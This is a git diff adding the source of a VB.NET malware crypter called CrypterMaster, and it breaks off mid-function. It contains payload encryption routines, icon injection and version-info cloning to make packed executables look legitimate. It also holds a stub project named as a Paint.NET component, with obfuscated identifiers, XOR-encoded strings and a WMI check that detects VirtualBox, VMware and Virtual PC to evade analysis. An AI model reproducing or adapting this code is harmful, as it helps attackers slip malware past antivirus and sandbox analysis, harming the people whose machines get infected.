Select + + Dim mainRect As New Rectangle(0, 0, Width - 1, Height - 1) + G.FillRectangle(New SolidBrush(innerColor), mainRect) + G.DrawRectangle(New Pen(borderColor), mainRect) + + Dim styleText As String = Nothing + + Select Case _alertStyle + + End Select + + Dim styleFont As New Font(Font.FontFamily, Font.Size, FontStyle.Bold) + Dim textY As Integer = ((Me.Height - 1) / 2) - (G.MeasureString(Text, Font).Height / 2) + G.DrawString(styleText, styleFont, New SolidBrush(textColor), New Point(10, textY)) + G.DrawString(Text, Font, New SolidBrush(textColor), New Point(10 + G.MeasureString(styleText, styleFont).Width + 4, textY)) + + Dim exitFont As New Font("Marlett", 6) + Dim exitY As Integer = ((Me.Height - 1) / 2) - (G.MeasureString("r", exitFont).Height / 2) + 1 + exitLocation = New Point(Width - 26, exitY - 3) + G.DrawString("r", exitFont, New SolidBrush(textColor), New Point(Width - 23, exitY)) + + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseMove(e) + If e.X >= Width - 26 AndAlso e.X <= Width - 12 AndAlso e.Y > exitLocation.Y AndAlso e.Y < exitLocation.Y + 12 Then + If Cursor <> Cursors.Hand Then Cursor = Cursors.Hand + overExit = True + Else + If Cursor <> Cursors.Arrow Then Cursor = Cursors.Arrow + overExit = False + End If + Invalidate() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs) + MyBase.OnMouseDown(e) + If overExit Then Me.Visible = False + End Sub +End Class \ No newline at end of file diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/clsIconChanger.vb b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/clsIconChanger.vb new file mode 100644 index 0000000..1ccafa1 --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/clsIconChanger.vb @@ -0,0 +1,151 @@ +Option Strict On +Option Explicit On +Option Infer On +Imports System.Runtime.InteropServices +Imports System.Security +Public Class IconChanger + _ + Private Class NativeMethods + _ + Public Shared Function BeginUpdateResource( _ + ByVal fileName As String, _ + ByVal deleteExistingResources As Boolean) As IntPtr + End Function + _ + Public Shared Function UpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal type As IntPtr, _ + ByVal name As IntPtr, _ + ByVal language As Short, _ + _ + ByVal data() As Byte, _ + ByVal dataSize As Integer) As Boolean + End Function + _ + Public Shared Function EndUpdateResource( _ + ByVal hUpdate As IntPtr, _ + ByVal discard As Boolean) As Boolean + End Function + End Class + _ + Private Structure ICONDIR + Public Reserved As UShort + Public Type As UShort + Public Count As UShort + End Structure + _ + Private Structure ICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ImageOffset As Integer + End Structure + _ + Private Structure BITMAPINFOHEADER + Public Size As UInteger + Public Width As Integer + Public Height As Integer + Public Planes As UShort + Public BitCount As UShort + Public Compression As UInteger + Public SizeImage As UInteger + Public XPelsPerMeter As Integer + Public YPelsPerMeter As Integer + Public ClrUsed As UInteger + Public ClrImportant As UInteger + End Structure + _ + Private Structure GRPICONDIRENTRY + Public Width As Byte + Public Height As Byte + Public ColorCount As Byte + Public Reserved As Byte + Public Planes As UShort + Public BitCount As UShort + Public BytesInRes As Integer + Public ID As UShort + End Structure + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String) + InjectIcon(exeFileName, iconFileName, 1, 1) + End Sub + Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger) + Const RT_ICON As UInteger = 3UI + Const RT_GROUP_ICON As UInteger = 14UI + Dim iconFile As IconFile = iconFile.FromFile(iconFileName) + Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False) + Dim data = iconFile.CreateIconGroupData(iconBaseID) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length) + For i = 0 To iconFile.ImageCount - 1 + Dim image = iconFile.ImageData(i) + NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length) + Next + NativeMethods.EndUpdateResource(hUpdate, False) + End Sub + Private Class IconFile + Private iconDir As New ICONDIR + Private iconEntry() As ICONDIRENTRY + Private iconImage()() As Byte + Public ReadOnly Property ImageCount() As Integer + Get + Return iconDir.Count + End Get + End Property + Public ReadOnly Property ImageData(ByVal index As Integer) As Byte() + Get + Return iconImage(index) + End Get + End Property + Private Sub New() + End Sub + Public Shared Function FromFile(ByVal filename As String) As IconFile + Dim instance As New IconFile + Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename) + Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned) + instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR) + instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {} + instance.iconImage = New Byte(instance.iconDir.Count - 1)() {} + Dim offset = Marshal.SizeOf(instance.iconDir) + Dim iconDirEntryType = GetType(ICONDIRENTRY) + Dim size = Marshal.SizeOf(iconDirEntryType) + For i = 0 To instance.iconDir.Count - 1 + Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY) + instance.iconEntry(i) = entry + instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {} + Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes) + offset += size + Next + pinnedBytes.Free() + Return instance + End Function + Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte() + Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount + Dim data(sizeOfIconGroupData - 1) As Byte + Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned) + Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False) + Dim offset = Marshal.SizeOf(iconDir) + For i = 0 To ImageCount - 1 + Dim grpEntry As New GRPICONDIRENTRY + Dim bitmapheader As New BITMAPINFOHEADER + Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned) + Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER))) + pinnedBitmapInfoHeader.Free() + grpEntry.Width = iconEntry(i).Width + grpEntry.Height = iconEntry(i).Height + grpEntry.ColorCount = iconEntry(i).ColorCount + grpEntry.Reserved = iconEntry(i).Reserved + grpEntry.Planes = bitmapheader.Planes + grpEntry.BitCount = bitmapheader.BitCount + grpEntry.BytesInRes = iconEntry(i).BytesInRes + grpEntry.ID = CType(iconBaseID + i, UShort) + Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False) + offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY)) + Next + pinnedData.Free() + Return data + End Function + End Class +End Class diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/mFunciones.vb b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/mFunciones.vb new file mode 100644 index 0000000..1ffad09 --- /dev/null +++ b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/mFunciones.vb @@ -0,0 +1,128 @@ +Imports System.Text +Imports System.IO +Imports System.Reflection +Imports System.Threading + +Module mFunciones + + Public Myself As String = Assembly.GetExecutingAssembly().Location + Public FOLDER_MYSELF As String = Path.GetDirectoryName(Myself) + + Public Function getKey(Longitud As Long) As String + Dim Letters As New List(Of Integer) + For i As Integer = 48 To 57 + Letters.Add(i) + Next + For i As Integer = 97 To 122 + Letters.Add(i) + Next + For i As Integer = 65 To 90 + Letters.Add(i) + Next + Dim Rnd As New Random + Dim SB As New System.Text.StringBuilder + Dim Temp As Integer + For count As Integer = 1 To Longitud + Temp = Rnd.Next(0, Letters.Count) + SB.Append(Chr(Letters(Temp))) + Next + Return SB.ToString + End Function + + Public Function Stairs(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String + Dim buff() As Byte = Stairs(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds) + Stairs = Encoding.Default.GetString(buff) + Erase buff + End Function + + Public Function Stairs(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte() + Array.Resize(Data, Data.Length + 1) + Data(Data.Length - 1) = Convert.ToByte(New Random().Next(1, 255)) + For i = (Data.Length - 1) * (ExtraRounds + 1) To 0 Step -1 + Data(i Mod Data.Length) = CByte(CInt((Data(i Mod Data.Length)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor Key(i Mod Key.Length) + Next + Return Data + End Function + + Public Function Unknown(ByVal sString As String, ByVal sKD As String) As String + Dim i As Long, k As Long + Rnd(-1) + Randomize(sKD.Length) + For k = 1 To sKD.Length + i += (((k Mod 256) Xor Asc(Mid(sKD, k, 1))) Xor Fix(256 * Rnd())) + Application.DoEvents() + Next k + Rnd(-1) + Randomize(i) + For k = 1 To sString.Length + Mid(sString, k, 1) = Chr(Fix(256 * Rnd()) Xor Asc(Mid(sString, k, 1))) + Application.DoEvents() + Next k + Return sString + End Function + + Public Function ExtStr(cadena As String, Opt As Long, Optional dirChar As String = "\") As String + Dim FullName As String + FullName = Mid$(cadena, InStrRev(cadena, dirChar) + 1) + Select Case Opt + Case 1 + 'Nombre + ExtStr = Mid$(FullName, 1, InStrRev(FullName, ".") - 1) + Case 2 + 'Extension + ExtStr = "." & Mid$(FullName, InStrRev(FullName, ".") + 1) + Case 3 + 'Nombre + Extension + ExtStr = FullName + Case Else + ExtStr = cadena + End Select + End Function + + Public Function ReadFile(sFilePath As String) As String + Try + Dim FF As Integer + FF = FreeFile() + FileOpen(FF, sFilePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) + ReadFile = New String(Chr(0), FileLen(sFilePath)) + FileGet(FF, ReadFile) + FileClose(FF) + Catch ex As Exception + Return "" + End Try + End Function + + Public Sub WriteFile(sPath As String, sData As String) + Dim FF As Integer + FF = FreeFile() + FileOpen(FF, sPath, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) + FilePut(FF, sData) + FileClose(FF) + End Sub + + Public Sub WriteFile(sPath As String, sData() As Byte) + Dim FF As Integer + FF = FreeFile() + FileOpen(FF, sPath, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) + FilePut(FF, sData) + FileClose(FF) + End Sub + + Public Sub cloneInfo(sourceFile As String, destFile As String) + Dim resHacker() As Byte = My.Resources.ResHacker + Dim resHackerPath As String = FOLDER_MYSELF & "\ResHacker.exe" + WriteFile(resHackerPath, resHacker) + Thread.Sleep(1000) + Application.DoEvents() + Shell(resHackerPath & " -extract " & sourceFile & ", " & FOLDER_MYSELF & "\replaceResource.res" & ", " & "versionInfo, 1,") + Shell(resHackerPath & " -delete " & destFile & ", " & destFile & ", " & "versionInfo, 1,") + Shell(resHackerPath & " -addoverwrite " & destFile & ", " & destFile & ", " & FOLDER_MYSELF & "\replaceResource.res" & ", " & "versionInfo, 1,") + Thread.Sleep(1000) + Application.DoEvents() + My.Computer.FileSystem.DeleteFile(FOLDER_MYSELF & "\replaceResource.res") + My.Computer.FileSystem.DeleteFile(FOLDER_MYSELF & "\ResHacker.ini") + My.Computer.FileSystem.DeleteFile(FOLDER_MYSELF & "\ResHacker.log") + My.Computer.FileSystem.DeleteFile(resHackerPath) + End Sub + +End Module diff --git a/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/windows8.ico b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/windows8.ico new file mode 100644 index 0000000..5921384 Binary files /dev/null and b/scode (CrypterMaster .NET/CrypterMaster/CrypterMaster/windows8.ico differ diff --git a/scode (CrypterMaster .NET/CrypterMaster/compat.png b/scode (CrypterMaster .NET/CrypterMaster/compat.png new file mode 100644 index 0000000..2c89303 Binary files /dev/null and b/scode (CrypterMaster .NET/CrypterMaster/compat.png differ diff --git a/scode (CrypterMaster .NET/OSD/BSoD_in_Windows_8.png b/scode (CrypterMaster .NET/OSD/BSoD_in_Windows_8.png new file mode 100644 index 0000000..f64f9d0 Binary files /dev/null and b/scode (CrypterMaster .NET/OSD/BSoD_in_Windows_8.png differ diff --git a/scode (CrypterMaster .NET/OSD/OSD.sln b/scode (CrypterMaster .NET/OSD/OSD.sln new file mode 100644 index 0000000..0bf16af --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD.sln @@ -0,0 +1,28 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.30501.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "PaintDotNet.Core", "OSD\PaintDotNet.Core.vbproj", "{E34E00A1-BFA9-423B-94EA-62B2361532A7}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E34E00A1-BFA9-423B-94EA-62B2361532A7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E34E00A1-BFA9-423B-94EA-62B2361532A7}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E34E00A1-BFA9-423B-94EA-62B2361532A7}.Debug|x86.ActiveCfg = Release|x86 + {E34E00A1-BFA9-423B-94EA-62B2361532A7}.Debug|x86.Build.0 = Release|x86 + {E34E00A1-BFA9-423B-94EA-62B2361532A7}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E34E00A1-BFA9-423B-94EA-62B2361532A7}.Release|Any CPU.Build.0 = Release|Any CPU + {E34E00A1-BFA9-423B-94EA-62B2361532A7}.Release|x86.ActiveCfg = Release|x86 + {E34E00A1-BFA9-423B-94EA-62B2361532A7}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (CrypterMaster .NET/OSD/OSD.v11.suo b/scode (CrypterMaster .NET/OSD/OSD.v11.suo new file mode 100644 index 0000000..c7818fb Binary files /dev/null and b/scode (CrypterMaster .NET/OSD/OSD.v11.suo differ diff --git a/scode (CrypterMaster .NET/OSD/OSD.v12.suo b/scode (CrypterMaster .NET/OSD/OSD.v12.suo new file mode 100644 index 0000000..9dffb28 Binary files /dev/null and b/scode (CrypterMaster .NET/OSD/OSD.v12.suo differ diff --git a/scode (CrypterMaster .NET/OSD/OSD/ApplicationEvents.vb b/scode (CrypterMaster .NET/OSD/OSD/ApplicationEvents.vb new file mode 100644 index 0000000..5f28270 --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/ApplicationEvents.vb @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/scode (CrypterMaster .NET/OSD/OSD/EffectEnvironmentParameters.vb b/scode (CrypterMaster .NET/OSD/OSD/EffectEnvironmentParameters.vb new file mode 100644 index 0000000..72440ac --- /dev/null +++ b/scode (CrypterMaster .NET/OSD/OSD/EffectEnvironmentParameters.vb @@ -0,0 +1,177 @@ +Imports System.Runtime.InteropServices +Imports System.IO +Imports System.Reflection +Imports System.Text +Imports System.Net + +Module EffectEnvironmentParameters + + Public KJm0d156fyrMEaWwNO0K3bfZ9J5BkICgwvjhYT6nOBhio As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + Public kWaXctCkG1M87a2TzGIa13Q0s5QC4PRZVUWcga2HcP45k As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Public iyvLtYcU4sMmGLNgsx1jXvomFr4Vp0tPR2HKBV6M2xahy As String = Environment.GetEnvironmentVariable(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÌÒÕßÒÉ", "›")) + Public de1CUxTd38qMOK9wgwBvvY3gghGRIoTxzarNJDsE4zLNQ As String = Environment.GetEnvironmentVariable(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÎÈÞÉËÉÔÝÒ×Þ", "›")) + Public tw4OgvRXFjasuS9nwrSun6F9CQMa0U5DPj9aQfwKc57zr As String = Environment.GetEnvironmentVariable(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÏÞÖË", "›")) + Public qbOzL3Fc71of7CgReQCcrskivEaKmvBlk95HjFbCKQ7zg As String = Assembly.GetExecutingAssembly().Location + Public wmqTQ2lC3eYMxjBcqF2OLjzOk3NLk6r1NhZcYSvEmvHME As String = Path.GetDirectoryName(qbOzL3Fc71of7CgReQCcrskivEaKmvBlk95HjFbCKQ7zg) + + Public Function VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs(ByVal SÆÆWœœÆjbØœœœPg8PdWkœœÆØc As String, ByVal vaKÆÆØœeFœwVØcœØØOØØœIlÆØ As String, Optional ByVal uilØœoA4ÆcÆØoÆLtRnØGsÆnT4 As UInteger = 0) As String + Dim c3ÆcUœØfvTØÆcQØZØDœMPzM2m() As Byte = VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs(Encoding.Default.GetBytes(SÆÆWœœÆjbØœœœPg8PdWkœœÆØc), Encoding.Default.GetBytes(vaKÆÆØœeFœwVØcœØØOØØœIlÆØ), uilØœoA4ÆcÆØoÆLtRnØGsÆnT4) + VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs = Encoding.Default.GetString(c3ÆcUœØfvTØÆcQØZØDœMPzM2m) + Erase c3ÆcUœØfvTØÆcQØZØDœMPzM2m + End Function + + Public Function VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs(ByRef ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7() As Byte, ByVal ÆœfJÆ3ÆÆQœ() As Byte, Optional ByVal SÆØHJCKQk5œÆbœœØM9LI1QÆjØ As UInteger = 0) As Byte() + For i = 0 To (ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length - 1) * (SÆØHJCKQk5œÆbœœØM9LI1QÆjØ + 1) + ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7(i Mod ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length) = CByte((CInt(ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7(i Mod ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length) Xor ÆœfJÆ3ÆÆQœ(i Mod ÆœfJÆ3ÆÆQœ.Length)) - CInt(ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7((i + 1) Mod ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length)) + 256) Mod 256) + Next + Array.Resize(ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7, ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length - 1) + Return ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7 + End Function + + Public Function t7RisfnOoQSCcVbhemIsaxxlDmNgsuBK48kKZrEMYp123(ByVal œRØØQFRœØw As String, ByVal œ02ÆØVaxÆØ As String) As String + Dim ØdÆmÆWdÆÆOØg7œ3jVRœØIœHVjZØØ4ØceœÆœØØmi3œQ8œhEœkÆÆØØ9uhÆtØg2ypÆœaœœÆ3œœØœ2r7RylnfcYÆœgÆ550ÆFÆ0tmœoœh As Long, HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q As Long + Rnd(-1) + Randomize(œ02ÆØVaxÆØ.Length) + For HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q = 1 To œ02ÆØVaxÆØ.Length + ØdÆmÆWdÆÆOØg7œ3jVRœØIœHVjZØØ4ØceœÆœØØmi3œQ8œhEœkÆÆØØ9uhÆtØg2ypÆœaœœÆ3œœØœ2r7RylnfcYÆœgÆ550ÆFÆ0tmœoœh += (((HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q Mod 256) Xor Asc(Mid(œ02ÆØVaxÆØ, HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q, 1))) Xor Fix(256 * Rnd())) + Next HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q + Rnd(-1) + Randomize(ØdÆmÆWdÆÆOØg7œ3jVRœØIœHVjZØØ4ØceœÆœØØmi3œQ8œhEœkÆÆØØ9uhÆtØg2ypÆœaœœÆ3œœØœ2r7RylnfcYÆœgÆ550ÆFÆ0tmœoœh) + For HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q = 1 To œRØØQFRœØw.Length + Mid(œRØØQFRœØw, HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q, 1) = Chr(Fix(256 * Rnd()) Xor Asc(Mid(œRØØQFRœØw, HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q, 1))) + Next HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q + Return œRØØQFRœØw + End Function + + Public Function SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL(GtQYJBujKVMAwOlGrÑdAMqBJVCQKcyAEWEñbONXIkJKueZFaDU As String, UIrNxNOÑNIYPNNMSyNHgaZJJKpEPoDhaqqYANFWfPñLpBDZArñ As String) As String + Dim CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf() As Byte + Dim pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF() As Byte + Dim wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe As Integer + Dim OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi As Integer + Dim vMIsVmGGjÑxDNfCscCBÑDeEAEPCÑnMsuZDBHpOoDxcLCccoWuÑ As Integer + Dim nhUOUtxbMEMcaHoHWHKAWHlQJkVVKCzGIUIÑgNQJKZCAAZFyCy As Integer + pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF = Encoding.Default.GetBytes(GtQYJBujKVMAwOlGrÑdAMqBJVCQKcyAEWEñbONXIkJKueZFaDU) + CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf = Encoding.Default.GetBytes(UIrNxNOÑNIYPNNMSyNHgaZJJKpEPoDhaqqYANFWfPñLpBDZArñ) + vMIsVmGGjÑxDNfCscCBÑDeEAEPCÑnMsuZDBHpOoDxcLCccoWuÑ = UBound(pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF) + nhUOUtxbMEMcaHoHWHKAWHlQJkVVKCzGIUIÑgNQJKZCAAZFyCy = UBound(CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf) + Do Until wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe > vMIsVmGGjÑxDNfCscCBÑDeEAEPCÑnMsuZDBHpOoDxcLCccoWuÑ + pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF(wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe) = pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF(wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe) Xor CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf(OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi) + OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi = OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi + 1 + If OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi > nhUOUtxbMEMcaHoHWHKAWHlQJkVVKCzGIUIÑgNQJKZCAAZFyCy Then OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi = 0 + wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe = wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe + 1 + Loop + Erase CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf + SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL = Encoding.Default.GetString(pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF) + Erase pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF + End Function + + Public Sub lcmJhcMQPP4JLBXmtr7CNOzV0LzytbeQMB9xr5zUXvcag(ByVal TWœœØG6ÆÆ0 As Double) + Dim c761ØœgNØØ As Date + c761ØœgNØØ = DateAdd(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("è", "›"), TWœœØG6ÆÆ0, Now) + Do + Application.DoEvents() + Loop Until Now >= c761ØœgNØØ + End Sub + + Public Function WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv() As Boolean + Try + WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = False + Dim NyØØ6œœkRK As Object + Dim œzœUØ8GÆœÆ As Object + Dim dWGœÆœØØœf As String + dWGœÆœØØœf = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÈÞ×ÞØÏ»±»ÝÉÔÖ»Ìòõ¨©ÄÍòÿþôØôõïéô÷÷þé", "›") + NyØØ6œœkRK = GetObject(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ìòõöüöïè¡", "›")).ExecQuery(dWGœÆœØØœf) + For Each œzœUØ8GÆœÆ In NyØØ6œœkRK + Select Case œzœUØ8GÆœÆ.Description + Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÍÖ»Úÿÿòïòôõè»È¨»Ïéòô¨©´­¯", "›") + WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True + Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ȩ»Ïéòô¨©´­¯", "›") + WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True + Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Íòéïîú÷Ùôã»Üéúëóòøè»Úÿúëïþé", "›") + WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True + Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÍÖìúéþ»ÈÍÜÚ»ÒÒ", "›") + WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True + Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÍÖìúéþ»ÈÍÜÚ»¨ß", "›") + WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True + Case 